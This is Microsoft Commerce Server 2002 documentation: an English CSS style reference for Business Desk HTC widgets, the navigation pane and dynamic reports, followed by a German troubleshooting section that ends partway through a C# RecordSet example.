The following styles are associated with the EditSheet HTC, using the class attribute. Add the "editsheet" class attribute value to an element to create an EditSheet HTC instance.

Class Styles

DIV.esCollapsed
Defines style characteristics used when rendering a collapsed edit group in an EditSheet HTC.
DIV.esCollapsed DIV.esEditgroup
Defines style characteristics used when rendering an edit group within a collapsed DIV element in an EditSheet HTC.
DIV.esContainer
Defines style characteristics used when rendering the container DIV element for an edit group within an EditSheet HTC.
DIV.esEdittitle
Defines style characteristics used when rendering the title DIV element for an edit group within an EditSheet HTC.
DIV.esExpanded
Defines style characteristics used when rendering an expanded edit group in an EditSheet HTC.
DIV.esExpanded DIV.esEditgroup
Defines style characteristics used when rendering an edit group within an expanded DIV element in an EditSheet HTC.
.editSheet
Associates an element with the DHTML behavior implemented in the file EditSheet.htc.
.efField
Defines common style characteristics used when rendering various types of EditField HTCs within the EditSheet and DynamicTable HTCs.
.esEditgroup
Defines style characteristics used when rendering an edit group within an EditSheet HTC.
.esEditgroup DIV.esContainer
Defines style characteristics used when rendering a nested EditSheet HTC container DIV element within an edit group of another EditSheet HTC.
.esEditgroup DIV.esEdittitle
Defines style characteristics used when rendering a nested EditSheet HTC title DIV element within an edit group of another EditSheet HTC.
.esEditgroup SPAN.bdexpandicon
Defines style characteristics used when rendering a span containing the expand icon in a nested EditSheet HTC within an edit group of another EditSheet HTC.
.esEditgroup SPAN.esEditbar
Defines style characteristics used when rendering the span containing the title bar for a nested EditSheet HTC within an edit group of another EditSheet HTC.
.esTableStyle .esDataCell
Defines style characteristics used when rendering a normal data cell (right side of standard layout in an EditSheet HTC) within tables that have their class attribute set to "esTableStyle".
.esTableStyle .esLabelCell
Defines style characteristics used when rendering a label cell (left side of standard layout in an EditSheet HTC) within tables that have their class attribute set to "esTableStyle".
.esTableStyle .reqIcon
Defines style characteristics used when rendering the required icon table cell within tables that have their class attribute set to "esTableStyle".
SPAN.esEditbar
Defines style characteristics used when rendering the span containing the title bar for an EditSheet HTC.
TABLE.esTableStyle
Defines style characteristics used when rendering tables with which the "esTableStyle" class attribute value is associated.

ExpressionBuilder HTC Styles

The following styles are associated with the ExpressionBuilder HTC, using the class and id attributes.

Class Styles

.clsBtnDrop
Defines style characteristics used when rendering the button associated with a dropdown list in the ExpressionBuilder HTC.
.clsClauseBldr
Defines style characteristics used when rendering the QueryBuilder HTC within the ExpressionBuilder HTC.
.clsClauseInput
Defines style characteristics used when rendering a text input element within the ExpressionBuilder HTC.
.clsClauseList
Defines style characteristics used when rendering the clause list within the ExpressionBuilder HTC.
.clsClauseList TR
Defines style characteristics used when rendering a table row within the clause list in the ExpressionBuilder HTC.
.clsDropDown
Defines style characteristics used when rendering the text box associated with a dropdown list in the ExpressionBuilder HTC.
.clsExprBldr
Defines style characteristics used when rendering the ExpressionBuilder HTC.
.clsExprBldr TD
Defines style characteristics used when rendering a normal table cell within the ExpressionBuilder HTC.
.clsExprBldr TH
Defines style characteristics used when rendering a table heading cell within the ExpressionBuilder HTC.
.clsExprRef
Defines style characteristics used when rendering a nested expression reference within the ExpressionBuilder HTC.

ID Styles

#pmGroup
Used internally by the QueryBuilder HTC (and also within the ExpressionBuilder HTC). Do not modify.
#pmMarker
Used internally by the QueryBuilder HTC (and also within the ExpressionBuilder HTC). Do not modify.
#pmProfile
Used internally by the QueryBuilder HTC (and also within the ExpressionBuilder HTC). Do not modify.

ListBox HTC Styles

The following styles are associated with the ListBox HTC, using the class attribute. Add the "listbox" class attribute value to an element to create a ListBox HTC instance.

Class Styles

.lbDisabled
Defines style characteristics used when rendering a disabled ListBox HTC.
.listBox
Associates an element with the DHTML behavior implemented in the file Listbox.htc.
.listBox .lbHighlighted
Defines style characteristics used when rendering a highlighted item within a ListBox HTC.

ListEditor HTC Styles

The following styles are associated with the ListEditor HTC, using the class and id attributes. Add the "listeditor" class attribute value to an element to create a ListEditor HTC instance.

Class Styles

.listEditor
Associates an element with the DHTML behavior implemented in the file ListEditor.htc.
.listEditor .listSheetF
Defines style characteristics used when rendering a ListSheet HTC embedded within a ListEditor HTC.
.listEditor .lsNoSort
Defines style characteristics used when rendering a non-sortable column heading within a ListEditor HTC.
Defines style characteristics when rendering page scrolling button control in the lower part of the ListSheet HTC that is embedded within a ListEditor HTC.
Defines style characteristics when rendering buttons on the page scrolling button control in the lower part of the ListSheet HTC that is embedded within a ListEditor HTC.
.listSheetF
Associates an element with the DHTML behavior implemented in the file ListSheetF.htc. This is a stripped down version of the ListSheet that does not support hierarchical lists, paging or multi-selection. This HTC is embedded within the ListEditor HTC.
.listSheetF .lsPageButton
Defines style characteristics used when rendering page buttons within the list portion of a ListEditor HTC.
.listSheetF .lsPageText
Defines style characteristics used when rendering page number text box within the list portion of a ListEditor HTC.
.listSheetF .lsSelectButtons
Defines style characteristics used when rendering the selection buttons within the list portion of a ListEditor HTC.
.listSheetF TR
Defines style characteristics used when rendering a data table row in the ListSheet HTC used in the ListEditor HTC.

ID Styles

.listEditor #leListContainer
Defines style characteristics used when rendering the container element for the ListSheet HTC embedded within a ListEditor HTC.

ListSheet HTC Styles

The following styles are associated with the ListSheet HTC, using the class and id attributes. Add the "listsheet" class attribute value to an element to create a ListSheet HTC instance.

Class Styles

.listSheet
Associates an element with the DHTML behavior implemented in the file ListSheet.htc.

.listSheet .lsPageButton

Defines style characteristics used when rendering page buttons in a ListSheet HTC.

.listSheet .lsPageText
Defines style characteristics used when rendering page number text box in a ListSheet HTC.
Defines style characteristics when rendering rectangular area in lower part of the ListSheet HTC.
Defines style characteristics when rendering rectangular area in lower part of the ListSheet HTC that is embedded within a ListEditor HTC.
Defines style characteristics when rendering page scrolling button control in the lower part of the ListSheet HTC.
Defines style characteristics when rendering page scrolling button control in the lower part of the ListSheet HTC that is embedded within a ListEditor HTC.
Defines style characteristics when rendering buttons on the page scrolling button control in the lower part of the ListSheet HTC.
Defines style characteristics when rendering buttons on the page scrolling button control in the lower part of the ListSheet HTC that is embedded within a ListEditor HTC.
.listSheet .lsSelectButtons
Defines style characteristics used when rendering the selection buttons in a ListSheet HTC.
.listSheetF
Associates an element with the DHTML behavior implemented in the file ListSheetF.htc. This is a stripped down version of the ListSheet that does not support hierarchical lists, paging or multi-selection. This HTC is embedded within the ListEditor HTC.
.listSheetF .lsPageButton
Defines style characteristics used when rendering page buttons within the list portion of a ListEditor HTC.
.listSheetF .lsPageText
Defines style characteristics used when rendering page number text box within the list portion of a ListEditor HTC.
.listSheetF .lsSelectButtons
Defines style characteristics used when rendering the selection buttons within the list portion of a ListEditor HTC.
.listSheetF TR
Defines style characteristics used when rendering a data table row in the ListSheet HTC used in the ListEditor HTC.
.lsListArea
Defines style characteristics used when rendering the scrollable area containing rows of data in a ListSheet HTC.
.lsSpacer
Defines style characteristics used when rendering the column resizing controls in the heading row of a ListSheet HTC.
.lsTableStyle .lsNoSort
Defines style characteristics used when rendering a non-sortable column heading within a ListSheet HTC.
.lsTableStyle .lsRowClosed TD
Defines style characteristics used when rendering normal table cells in a closed row of a ListSheet HTC.
.lsTableStyle .lsRowOver TD.lsCell
Defines style characteristics used when rendering cells within a table row that is not selected in a ListSheet HTC when the mouse is hovering over it.
.lsTableStyle .lsRowSelected TD.lsCell
Defines style characteristics used when rendering cells within a selected table row in a ListSheet HTC.
.lsTableStyle .lsSortButton
Defines style characteristics used when rendering a column heading sort button in a ListSheet HTC.
.lsTableStyle TD.lsCell
Defines style characteristics used when rendering cells within a table row that is not selected in a ListSheet HTC.
.lsTableStyle TD.lsCell SPAN
Defines style characteristics used when rendering a data-bound span within a table cell in a ListSheet HTC.
.lsTableStyle TD.lsCell SPAN.bdexpandicon
Defines style characteristics used when rendering a expand icon span within a table cell in a ListSheet HTC. This renders as a right arrow when the group is closed and a down arrow when the group is expanded.
.lsTableStyle TD.lsObjectCell
Defines style characteristics used when rendering a sub-object table cell in the detail row of a two-tiered ListSheet HTC.
.lsTableStyle TH.lsCell
Defines style characteristics used when rendering a table heading cell within a ListSheet HTC.
.lsTableStyle THEAD TR
Defines style characteristics used when rendering a table heading row within a ListSheet HTC.
.lsTableStyle TR TR.lsRowClosed TD
Defines style characteristics used when rendering a normal table cell within a closed row in a ListSheet HTC.
.lsTableStyle TR.lsRowOver
Defines style characteristics used when rendering a table row within a ListSheet HTC when the mouse is hovering over it.
.lsTableStyle TR.lsRowOverSel TD.lsCell
Defines style characteristics used when rendering cells within a selected table row in a ListSheet HTC when the mouse is hovering over it.
.lsTableStyle TR.lsRowSelected
Defines style characteristics used when rendering a selected table row within a ListSheet HTC.
.lsTableStyle TR.lsRowSelected INPUT
Defines style characteristics used when rendering a selected table row within a ListSheet HTC that contains a single-line text box (an HTML INPUT element of type "password" is used to display data in a password type column so that "*" characters are displayed instead of the password text).
TABLE.lsTableStyle
Defines style characteristics used when rendering the table within a ListSheet HTC.
TABLE.selected #objectTable TR .lsCell
Defines style characteristics used when rendering cells within a sub-object table under a selected row in a ListSheet HTC.
TABLE.selected #objectTable TR TH.lsNoSort
Defines style characteristics used when rendering table heading cells as non-sortable in a sub-object table under a selected row in a ListSheet HTC.
TABLE.selected TD.lsCell
Defines style characteristics used when rendering normal data cells within a selected table within a ListSheet HTC.
#objectTable TR TH.lsNoSort
Defines style characteristics used when rendering table heading cells as non-sortable within a detail row in a sub-object table within a ListSheet HTC.
.selected
Defines style characteristics used when rendering ListSheet HTC elements that are in selected rows.
.selected INPUT
Defines style characteristics used when rendering a selected single line text box in a ListSheet HTC (password columns are displayed using an INPUT element set to type "password" so the value is replaces with "*" characters).
.wait DIV
.wait SPAN
.wait TD
.wait TH
.wait BUTTON
.wait INPUT
Defines style characteristics used when rendering elements that are of the "wait" class, and DIV elements, spans, normal table cells, table heading cells, buttons, and single line text boxes that are children of such elements. This class is used to add a wait cursor to all elements of a ListSheet when it is loading.

ID Styles

.listSheet #btnSelectAll
Defines style characteristics used when rendering the Select All button in a ListSheet HTC.
.listSheet #btnUnselectAll
Defines style characteristics used when rendering the Deselect All button in a ListSheet HTC.

QueryBuilder HTC Styles

The following styles are associated with the QueryBuilder HTC, using the class attribute. Add the "/widgets/exprbldHTC/querybuilder.htc" behavior style to an element to create a QueryBuilder HTC instance.

Class Styles

.clsQueryBldr
Defines style characteristics used when rendering the QueryBuilder HTC as a whole.
.clsQueryBldr .clsDisabled
Defines style characteristics used when rendering child elements of the QueryBuilder HTC that have been classified as disabled.
.clsQueryBldr .clsDisabled A
Defines style characteristics used when rendering anchor elements within disabled child elements of the QueryBuilder HTC.
.clsQueryBldr .clsSelected
Defines style characteristics used when rendering child elements of the QueryBuilder HTC that have been classified as selected.
.clsQueryBldr .clsSelected TD
Defines style characteristics used when rendering normal table cells within child elements of the QueryBuilder HTC that have been classified as selected.
.clsQueryBldr TD
Defines style characteristics used when rendering normal table cells within the QueryBuilder HTC.
.clsQueryBldr TR
Defines style characteristics used when rendering table rows within the QueryBuilder HTC.

ID Styles

.clsQueryBldr #menuitem
Defines style characteristics used when rendering menu items in a dropdown list within the QueryBuilder HTC.
.clsQueryBldr #popupmenu
Defines style characteristics used when rendering a pop-up (sub) menu within the QueryBuilder HTC.
.clsQueryBldr #submenumark
Defines style characteristics used when rendering the arrow that indicates the presence of a submenu within the QueryBuilder HTC.

TreeView HTC Styles

The following styles are associated with the TreeView HTC, using the class attribute. Add the "treeview" class attribute value to an element to create a TreeView HTC instance.

Class Styles

.treeView
Associates an element with the DHTML behavior implemented in the file TreeView.htc.
.treeView DIV DIV
Defines style characteristics used when rendering a second-level DIV element within the TreeView HTC.
.treeView DIV.tvClosed DIV
Defines style characteristics used when rendering a second-level DIV element in a closed first-level DIV element in the TreeView HTC.
.treeView DIV.tvDisabled
Defines style characteristics used when rendering a disabled DIV element in the TreeView HTC.
.treeView DIV.tvGroupOver
Defines style characteristics used when rendering a highlighted DIV element that is not a leaf node in the TreeView HTC.
.treeView DIV.tvHide
Defines style characteristics used when hiding a DIV element in the TreeView HTC.
.treeView DIV.tvOver
Defines style characteristics used when rendering a highlighted DIV element that is a leaf node in the TreeView HTC.
.treeView DIV.tvSkip DIV
Defines style characteristics used when rendering a DIV element within a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV DIV
Defines style characteristics used when rendering a second-level DIV element under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV LABEL
Defines style characteristics used when rendering a label under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV SPAN
Defines style characteristics used when rendering a span within a DIV element under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV.tvClosed DIV
Defines style characteristics used when rendering a DIV element within a closed DIV element under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV.tvDisabled DIV
Defines style characteristics used when rendering a DIV element within a disabled DIV element under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV.tvHide DIV
Defines style characteristics used when rendering a DIV element within a hidden DIV element under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip LABEL
Defines style characteristics used when rendering a label within a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip SPAN
Defines style characteristics used when rendering a span within a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView LABEL
Defines style characteristics used when rendering a label within the TreeView HTC.
.treeView LABEL.tvSelected
Defines style characteristics used when rendering a selected label within the TreeView HTC.
.treeView SPAN
Defines style characteristics used when rendering a span within the TreeView HTC.


Navigation Pane Styles

The customizable style sheet file (CSS), navtree.css, indirectly defines the styles used within the navigation pane of Commerce Server Business Desk. It imports a file, navtree_css.asp, that contains a small amount of code that redirects to one of several other CSS files that define the actual styles used in the navigation pane. These latter files have names of the form "*_navtree.css". Two such files are included in Commerce Server 2002: default_navtree.css and hicont_navtree.css. The former defines the default navigation pane styles and the latter defines high contrast versions of the navigation panes styles that improve accessibility. New themes are created by creating additional files that conform to the naming scheme and that define the contained styles differently.

The navigation pane style definitions included both element styles and class styles. Element styles are those that apply to an element regardless of any class or id attribute settings on that element. Class styles are those that apply to one or more element types only if the class attribute has the particular value that is indicated. Often, the situations in which the styles apply are restricted according to some characteristic of a parent or grandparent element.

The remainder of this topic provides further detail about each of these style categories.

Element Styles

.bdcategory NOBR
Defines style characteristics used when rendering text without line breaks in the category level of the navigation pane.
BODY
Defines base style characteristics used when rendering the contents of the body element in the navigation pane.
.categoryhighlight NOBR
Defines style characteristics used when rendering text without line breaks in a highlighted category level entry in the navigation pane.
.categoryhighlight NOBR SPAN
Defines style characteristics used when rendering a span within text without line breaks in a highlighted category level entry in the navigation pane.
DIV.bdcs4 A
Defines style characteristics used when rendering the anchor element with the link to www.microsoft.com in the navigation pane.
DIV.bdmenu UL
Defines style characteristics used when rendering category-level unordered list elements within the navigation tree.
DIV.bdmenu UL DIV
Defines style characteristics used when rendering DIV elements within the first-level unordered list elements within the navigation tree.
DIV.bdmenu UL UL
Defines style characteristics used when rendering module-level unordered list elements within the navigation tree.
DIV.bdmenu UL UL DIV
Defines style characteristics used when rendering DIV elements within the module-level unordered list elements within the navigation tree.
.expanded NOBR
Defines style characteristics used when rendering text without line breaks within an expanded category in the navigation tree.
HTML
Defines base style characteristics used when rendering any HTML in the navigation pane.

Class Styles

.bdDebug
Defines style characteristics applied to debug text when debugging is enabled by setting the global variable SHOW_DEBUG_TEXT to True in the file Global.asa.
.bdmodule
Defines style characteristics used when rendering a module entry in the navigation pane.
.collapsed SPAN.bdcollapseicon
Defines style characteristics used when rendering the collapsed icon when a category is collapsed in the navigation pane.
.collapsed SPAN.bdexpandicon
Defines style characteristics used to suppress rendering of the expanded icon when a category is collapsed in the navigation pane.
.collapsed UL.bdmodulelist
Defines style characteristics used to suppress rendering of the corresponding modules when a category is collapsed in the navigation pane.
DIV.bdfooter
Defines style characteristics used when rendering the footer area in the navigation pane, which contains the link to Microsoft.com
DIV.bdlogo
Defines style characteristics used when rendering the logo area in the navigation pane, which contains the link to the About dialog box.
DIV.bdmenu
Defines style characteristics used when rendering the DIV element that contains the entire navigation tree in the navigation pane.
DIV.bdscrollwindow
Defines style characteristics used when rendering the scrollable window that contains the entire navigation tree.
.expanded
Defines style characteristics used when rendering an expanded category in the navigation pane.
.expanded SPAN.bdcollapseicon
Defines style characteristics used to suppress rendering of the collapsed icon when a category is expanded in the navigation pane.
.expanded SPAN.bdexpandicon
Defines style characteristics used when rendering the expanded icon when a category is expanded in the navigation pane.
.expanded UL.bdmodulelist
Defines style characteristics used when rendering the corresponding modules when a category is expanded in the navigation pane.
.modulehighlight
Defines style characteristics used when rendering a module that has been highlighted in the navigation pane.
.moduleselect
Defines style characteristics used when rendering a module that has been selected in the navigation pane.
.scrollbtn
Defines style characteristics used when rendering a scroll button at the top or bottom of the navigation pane.

ID Styles

#bdhome
Defines style characteristics used when rendering the home page link in the navigation pane.
#bdhome IMG
Defines style characteristics used when rendering the home page link image in the navigation pane.
#bdhome.moduleselect
Defines style characteristics used when rendering the home page link in the navigation pane when it is selected.


Dynamic Report Styles

This topic contains:

  • Dynamic Report Style Files. Provides information about the style sheet and ASP files that are used in the dynamic reports to define styles, themes, and alternative language input for HTCs.
  • Dynamic Report Style Reference. Provides information about the styles designed for controlling the look of the pivot table and graph for the dynamic reports, as defined in the files Styles10.css and Reports.css.


Dynamic Report Style Files

The following table describes the various files that are related to the definition and management of styles for Dynamic Reports.

File name | Description
analysis\Styles10.css | Included by the file analysis_dynamic_reporting10.asp to define the styles that are used when rendering a dynamic report.
FormatControls10.scp | Included by the file analysis_dynamic_reporting10.asp to read and apply styles defined in Styles10.css to the dynamic report.


Dynamic Report Style Reference

The customizable style sheet files (CSS) Styles10.css, indirectly defines the styles used when rendering the Dynamic Reports in the Reports category of the Analysis module in Business Desk. The FormatControls10.scp file is used to apply the styles to the pivot table and chart.

The style definitions include element styles, class styles, and ID styles. Element styles are those that apply to an element regardless of any class or id attribute settings on that element. Class styles are those that apply to one or more element types only if the class attribute has the particular value that is indicated. Often, the situations in which the styles apply are restricted according to some characteristic of a parent or grandparent element.

The remainder of this topic provides further detail about each of these style categories.

Element Styles

The following figure uses the Ad Frequency report to show the element styles used in a dynamic report table.

Depicts a report table with callouts identifying which tags control which part of the table.

The following figure uses the Ad Frequency report to show the element styles used in a dynamic report graph.

Depicts a report graph with callouts identifying which tags contol which part of the graph.

The following is a list of the standard element styles used in the dynamic report style sheets: A, A:link, A:visited, ADDRESS, B, BODY, BUTTON, CITE, DIV, EM, H1, H2, H3, H4, H5, H6, I, INPUT, LABEL, OPTION, P, SELECT, SPAN, STRONG, TEXTAREA, TD, TH, VAR.

The following list contains information about custom elements used in the dynamic report style sheets.

ChartPlotArea

Background color of the plot area for the chart.

ChartSpace

Background color for the chart.

ChartSpaceDropZones

Font size and background color for the filter dimensions, row dimensions, column dimensions, and data drop zones in the chart.

ChartSpaceLegend

Font size and background color for the chart legend.

ChartSpaceTitle

Font size and background color for the chart title.

ColumnSubtotalsLevel1

Text and background color for the first level column subtotal fields in the pivot table.

ColumnSubtotalsLevel2

Text and background color for the second level column subtotal fields in the pivot table.

GrandTotals

Text and background color for the grand totals in the pivot table.

PivotAxis

Not used.

PivotColumnMembers

Text and background color for the column dimension fields on the pivot table.

PivotDataFields

Text and background color for the filter dimension and the measures on the pivot table.

PivotFields

Text and background color for the filter, row, and column dimension header fields on the pivot table.

PivotMembers

Text and background color for the pivot dimension members on the pivot table.

PivotRowMembers

Text and background color for the row dimension fields on the pivot table.

PivotTable

Background color for the pivot table.

PivotTitleBar

Text and background color for the pivot table title bar on the pivot table.

PivotTotals

Text and background color for the pivot totals on the pivot table.

Profit

Not used.

RowSubtotalsLevel1

Text and background color for the first level row subtotals on the pivot table.

RowSubtotalsLevel2

Text and background color for the second level row subtotals on the pivot table.

Sales

Not used.

Sales Average

Not used.

Store Cost

Not used.

Store Sales

Not used.

Store Sales Net

Not used.

Unit Sales

Not used.

Class Styles

.DATAHEADINGS

Defines style characteristics used when rendering the heading in the table in the body of the static report.

.DATATABLE

Defines style characteristics used when rendering the data in the table in the body of static reports.

.DATATABLE1

Defines style characteristics used when rendering the data in the table in the body of static reports. Used to provide the alternating row colors in the static OLAP reports.

.DATATABLE2

Defines style characteristics used when rendering the data in the table in the body of static reports. Used to provide the alternating row colors in the static OLAP reports.

.DESCRIPTION

Defines style characteristics used when rendering the report description, run by, and run date area of the header

.GRAPHICCEL

Defines style characteristics used when rendering the report logo image.

.STATIC1

Not used.

.TITLEMAIN

Defines style characteristics used when rendering the report name at the top of the report.

.USERINFO

Not used.

ID Styles

#btnNewReport

Defines style characteristics used when rendering the New Report button.

#btnReportHelp

Defines style characteristics used when rendering the Report Help button.

#btnSaveReport

Defines style characteristics used when rendering the Save Report button.

#btnPivotDisplay

Defines style characteristics used when rendering the Show/Hide Pivot button.

#btnChartDisplay

Defines style characteristics used when rendering the Show/Hide Chart button.

#btnDefinitionDisplay

Defines style characteristics used when rendering the Show/Hide Long Definition button.


Problembehandlung bei Commerce Server

In diesem Abschnitt werden allgemeine Probleme behandelt, die bei der Arbeit mit Microsoft Commerce Server 2002 auftreten können.

Technischen Support erhalten Sie in den Onlinenewsgroups in der Microsoft-Website. Weitere Informationen zu Commerce Server-Newsgroups finden Sie unter http://go.microsoft.com/fwlink/?LinkId=5816.

Beachten Sie auch die Informationen in der Readme-Datei zu Microsoft Commerce Server 2002. Dieses Dokument enthält eine Liste bekannter Probleme sowie Informationen, die erst kurz vor der Veröffentlichung dieser Version von Commerce Server bekannt wurden. Sie finden das Dokument auf der Installations-CD von Commerce Server 2002.

Dieser Abschnitt beinhaltet folgende Themen:

  • Problembehandlung bei Anwendungen. Beschreibt Probleme, die bei der Entwicklung und Verwaltung von Anwendungen und Business Desk auftreten können, und bietet Lösungsvorschläge.
  • Problembehandlung bei Site Packager. Beschreibt Probleme, die bei der Arbeit mit Commerce Server Site Packager auftreten können, und bietet Lösungsvorschläge.
  • Problembehandlung beim Data Warehouse-Importvorgang. Beschreibt Probleme, die bei der Verwendung von Commerce Server-DTS-Tasks zum Importieren von Dateien in das Data Warehouse auftreten können. Außerdem werden Lösungsmöglichkeiten dargestellt.
  • Problembehandlung bei Commerce Server-Ressourcen. Beschreibt Probleme, die bei der Verwendung von DTS-Tasks, der Vorhersageressource, der Profilressource und von Direct Mailer auftreten können, und bietet Lösungsvorschläge.
  • Problembehandlung bei Commerce Server-Manager-Taskpads. Beschreibt ein Problem, das bei Taskpads im Commerce Server-Manager auftreten kann, wenn die Spracheinstellungen für Commerce Server und für das Betriebssystem nicht übereinstimmen.
  • Ereignismeldungen. Hier finden Sie eine umfassende Liste von bekannten Ereignismeldungen. Sie enthält die Meldungs-ID, den Schweregrad und Kommentare für jede Ereignismeldung.
  • Weitere Informationen zur Problembehandlung. Führt weitere Ressourcen auf, die Systemadministratoren bei der Problembehandlung unterstützen.


Problembehandlung bei Anwendungen

In diesem Abschnitt werden Probleme beschrieben, die bei der Entwicklung und Verwaltung von Anwendungen und von Commerce Server Business Desk auftreten können.

Dieser Abschnitt beinhaltet folgende Themen:

  • Setup schlägt beim Installieren auf einer Stamminstanz von SQL fehl
  • Kerberos und die integrierte Sicherheit von Windows funktionieren nicht
  • Supplier-Site: Der Profilcache der Site lässt sich bei einem gelöschten Benutzer nicht ordnungsgemäß aktualisieren
  • Die Löschoption ist deaktiviert, wenn in der Ansicht "Modelle" mehrere Modelle ausgewählt werden
  • Verwenden der RecordSet Close()-Methode nach der Verwendung des RecordSet-Objekts
  • Kopieren von Daten aus einem RecordSet-Objekt in ein DataSet-Objekt
  • Windows .NET Server und ADODB.Connection.2.5 erzeugen einen Fehler
  • Bei Verwendung von IIS 6.0 wird die Verarbeitung von ASP-Seiten deaktiviert
  • Bei Verwendung von IIS 6.0 mit Lösungssites wird ein Fehler erzeugt
  • Verwenden der 64-Bit-Währung zur Sicherstellung der Verfügbarkeit
  • Bestellungen im Wert von über 10 Millionen Währungseinheiten werden nicht ausgeführt
  • Aktivieren von "Computer für Delegierungszwecke vertrauen" für Webserver
  • OLAP/SQL Server benötigt Windows NT-Authentifizierung
  • Snap-In konnte nicht initialisiert werden.
  • Anzeigen bzw. Preisnachlässe werden in der Website nicht angezeigt
  • Unvollständige Katalogdaten nach Importfehler
  • Benutzer können den Websitekatalog nicht durchsuchen
  • Der Katalogcache lässt sich nicht aktualisieren
  • Anmelden bei einer Webanwendung als Administrator ist nicht möglich
  • Commerce Server unterbricht beim Ändern des Computernamens seine Funktionen
  • Das Ändern des Datumstrennzeichens des Systems verursacht einen Fehler
  • Die Suche in der Hilfe ergibt keine Suchergebnisse
  • Manche DLLs unterstützen keine Selbstregistrierung
  • Erstellen einer neuen Verwaltungsdatenbank
  • Business Desk: Das Ändern des Administratorkennworts verursacht die Trennung des Business Desk-Clients
  • Business Desk: Authentifizierungsfehler tritt auf, wenn eine neuer Benutzer zu Active Directory hinzugefügt wird
  • Business Desk: Aktualisierte Konfiguration wird nicht wiedergegeben
  • Business Desk: Daten werden nicht im Modul "Listen-Manager" bzw. "Benutzer" angezeigt
  • Business Desk: "Bibliothek ist nicht registriert" oder andere Probleme mit "regexp"
  • Business Desk: Benutzer mit Administratorrechten haben keinen Zugriff auf Business Desk-Daten
  • Business Desk: Beim Zugriff auf Business Desk treten Laufzeitfehler auf
  • Business Desk: Internet Explorer kann die Internetsite nicht öffnen
  • Berichte: Fehler im Bericht "Käuferverhalten bis zum Kauf"
  • Berichte: Dynamische SQL-Berichte können nicht angezeigt werden
  • Berichte: Datumsangaben des statischen Berichts stimmen nicht mit Angaben in den Ländereinstellungen überein

Informationen zum Debuggen von Anwendungen finden Sie in den folgenden Abschnitten:

  • Debugging Business Desk (englisches Thema)
  • Content Selection Framework Concepts (englisches Thema)


Setup schlägt beim Installieren auf einer Stamminstanz von SQL fehl

Wenn Sie versuchen, Commerce Server 2002 in einem SQL Server-Installationsstammverzeichnis zu installieren, das eine Instanz enthält, die die gleiche Anschlussnummer verwendet, schlägt Setup möglicherweise fehl.

Lösung

Öffnen Sie auf dem Computer, auf dem SQL Server ausgeführt wird, das Server-Netzwerkprogramm. (Klicken Sie auf Start, zeigen Sie auf Programme, und klicken Sie auf Microsoft SQL Server und dann auf Server-Netzwerkprogramm.) Wählen Sie nacheinander die einzelnen Instanzen aus, und ändern Sie jeweils die Anschlussnummer, sodass jede Instanz über eine eindeutige Nummer verfügt. Starten Sie alle Instanzen von SQL Server neu.


Kerberos und die integrierte Sicherheit von Windows funktionieren nicht

Wenn Sie Probleme mit einer Installation haben, die Kerberos, Internetinformationsdienste (IIS) 5.0 und die integrierte Sicherheit von Windows verwendet, wird die folgende Lösung empfohlen.

Lösung

Sind die SPNs (Service Principal Name) vorhanden? Wenn Sie Ihren Computer umbenennen, sind möglicherweise die Host/NetBIOS- und Host/DNS-Namen nicht festgelegt. Sie müssen die Host-SPNs zurücksetzen.

  • Befinden sich die Computer in einer vertrauenswürdigen Domäne? Dies ist eine notwendige Voraussetzung.
  • Haben Sie TCP/IP entfernt, sodass für das Server-Netzwerkprogramm (SQL Server) nur Named Pipes verwendet werden?
  • Enthält eine Verbindungszeichenfolge Network Library=DBMSSOCN? In diesem Fall funktioniert Kerberos nicht.
  • Wird der Webserver als vertrauenswürdig für Delegierungszwecke betrachtet? Dies ist eine notwendige Voraussetzung.


Supplier-Site: Der Profilcache der Site lässt sich bei einem gelöschten Benutzer nicht ordnungsgemäß aktualisieren

Wenn Sie einen Benutzer entfernen, indem Sie auf einer Site einen Löschbefehl ausführen, wird der Profilcache der Site nicht aktualisiert. Der Versuch, denselben Benutzer auf der Site neu zu erstellen, führt zu einem von zwei Fehlern: "Fehler beim Hinzufügen des Benutzers zur Active Directory-Gruppe", wenn der Benutzer auf der Site gelöscht wurde, oder "Der Benutzer ist bereits vorhanden", wenn der Benutzer innerhalb von Business Desk gelöscht wurde.

Lösung

Aktualisieren Sie den Profilcache der Site im Modul "Profile veröffentlichen" in Business Desk.


Die Löschoption ist deaktiviert, wenn in der Ansicht "Modelle" mehrere Modelle ausgewählt werden

Wenn in der Ansicht Modelle mehrere Modelle ausgewählt werden, ist die Löschoption deaktiviert.

Lösung

Wenn Sie die Registerkarte der Ansicht Modelle auswählen, wird die Löschoption angezeigt. Die Ursache dieses Problem liegt nicht bei der Vorhersageressource oder Commerce Server, sondern der Microsoft Management Console (MMC).


Verwenden der RecordSet Close()-Methode nach der Verwendung des RecordSet-Objekts

Von ASP-Seiten wird auf SQL Server-Datenbanken häufig über ein RecordSet-Objekt von ADO (ActiveX Directory Object) zugegriffen. Nach der Verwendung des RecordSet-Objekts kann es zu unerwarteten Fehlern und Leistungseinbußen kommen, wenn Sie das Objekt nicht explizit schließen.

Lösung

Um eine maximale Leistung sicherzustellen und unerwartete Fehler zu vermeiden, rufen Sie die Close()-Methode auf, wenn Sie das RecordSet-Objekt nicht mehr benötigen.


Kopieren von Daten aus einem RecordSet-Objekt in ein DataSet-Objekt

Oft müssen Sie die Daten in einem RecordSet-Objekt, die von einer Commerce Server-Funktion zurückgegeben wurden, in ein DataSet-Objekt von ADO.NET kopieren. Dies ist hilfreich bei der Datenbindung des DataSet-Objekts, bei der Konvertierung in XML usw.

Lösung

Das folgende C#-Beispiel veranschaulicht diese Kopierfunktion.

// get a Recordset
CatalogManager cm;
_Recordset rs = cm.Catalogs;

